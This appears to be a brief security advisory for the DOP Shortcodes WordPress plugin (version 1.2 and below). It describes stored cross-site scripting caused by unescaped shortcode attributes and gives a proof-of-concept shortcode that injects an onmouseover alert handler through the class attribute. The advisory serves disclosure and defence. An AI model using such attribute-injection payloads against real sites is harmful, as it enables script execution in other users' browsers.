DOP Shortcodes <= 1.2 - Contributor+ Stored XSS via Shortcode

Description The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

PoC

Add the following shortcode to a post: [dopaccordions class='wp-block-search__button" onmouseover="alert(/XSS/)"'] [dopaccordion title="Title 1"]text[/dopaccordion] [dopaccordion title="Title 2"]text[/dopaccordion] [dopaccordion title="Title 3"]text[/dopaccordion] [/dopaccordions] Move your mouse over the accordion to see the XSS